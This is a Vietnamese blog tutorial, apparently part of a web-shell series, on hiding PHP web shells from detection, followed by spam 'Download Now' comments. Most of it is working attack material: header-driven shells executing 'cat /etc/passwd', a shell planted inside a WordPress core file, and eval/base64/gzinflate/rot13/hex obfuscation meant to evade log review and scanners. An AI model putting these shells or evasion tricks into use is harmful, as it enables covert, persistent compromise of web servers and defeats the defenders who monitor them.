Chỉnh sửa headers
Thay vì post câu lệnh qua tham số $_POST, hacker sử dụng
tham số user agent.
<?php system($_SERVER['HTTP_USER_AGENT'])?>
.
GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: cat /etc/passwd
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4
Phương thức trên thì có thể phát hiện ở trong server
log.
192.168.5.26 - - [28/Apr/2016:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
192.168.5.26 - - [28/Apr/2016:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"
Một cách khác có thể tránh được điều này, đó là sử dụng
HTTP_ACCEPT_LANGUAGE
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch
Accept-Language: cat /etc/passwd
Ẩn giấu sâu trong thư mục con và sử dụng tên random.
ví dụ
http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php
Nhúng web shell vào file đã có, hợp lệ như index.php,
about.php. Ví dụ : wordpress
// http://www.example.com/wp-content/wp-blog-header.php
if ( !isset($wp_did_header) ) {
$wp_did_header = true;
// Load the WordPress Core System
system($_SERVER['HTTP_ACCEPT_LANGUAGE']);
// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );
// Set up the WordPress query.
wp();
// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
Obfuscation: Làm rối mã
-
xóa hết ký tự trắng, dấu cách để khó đọc
-
làm rối code sử dụng hàm để tái cấu trúc lại
code khi chạy
<?php
// Scrambled
$k='c3lzdGVtKCdscyAtbGEnKTs=';$c=strrev('(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);
// Unscrambled
// base_64 encoded string -> system('ls -la');
$k='c3lzdGVtKCdscyAtbGEnKTs=';
// strrev() reverses a given string: strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
// $c = system('ls -la');
$f=eval($c);
eval($f);
Encoding, Compression, and Replacement
- eval() – Thực thi php code trong string đưa vào.
- assert() – Thực thi php code trong string đưa vào.
- base64() – Encodes data với base64 encoding
- gzdeflate() – Compresses a string using DEFLATE data format. gzinflate() decompresses.
- str_rot13() – Dịch mỗi ký tự đi 13 vị trí trong bảng chữ cái
<?php
// Evaluates the string
"system('ls -la');" as PHP code
eval("system('ls
-la');");
// Decodes the Base64 encoded
string and evaluates the decoded string "system('ls -la');" as PHP
code
eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
// Decodes the compressed,
Base64 encoded string and evaluates the decoded string "system('ls
-la');" as PHP code
eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
// Decodes the compressed,
ROT13 encoded, Base64 encoded string and evaluates the decoded string
"system('ls -la');" as PHP code
eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA=='))));
// Decodes the compressed,
Base64 encoded string and evaluates the decoded string "system('ls
-la');" as PHP code
assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
?>
Sử dụng Hex
<?php <br ?--> // function that accepts a hex encoded data
function dcd($hex){
// split $hex
for ($i=0; $i < strlen($hex)-1; $i+=2){
//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
// evaluate/execute the command
eval($string);
}
dcd('73797374656d2827636174202f6574632f70617373776427293b');
?>
Ví dụ một cách khác:
<?php
// Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'
$_=$_POST['1'];
$__=$_POST['2'];
//The following will now be equivalent to running -> system('cat /etc/passwd');
$_($__);
?>
10 Tut - Sharing Tip And Tut: Giới Thiệu Về Web-Shells (Phần 3) - Các Cách Ẩn Giấu Tránh Bị Phát Hiện Của Web-Shells >>>>> Download Now
Trả lờiXóa>>>>> Download Full
10 Tut - Sharing Tip And Tut: Giới Thiệu Về Web-Shells (Phần 3) - Các Cách Ẩn Giấu Tránh Bị Phát Hiện Của Web-Shells >>>>> Download LINK
>>>>> Download Now
10 Tut - Sharing Tip And Tut: Giới Thiệu Về Web-Shells (Phần 3) - Các Cách Ẩn Giấu Tránh Bị Phát Hiện Của Web-Shells >>>>> Download Full
>>>>> Download LINK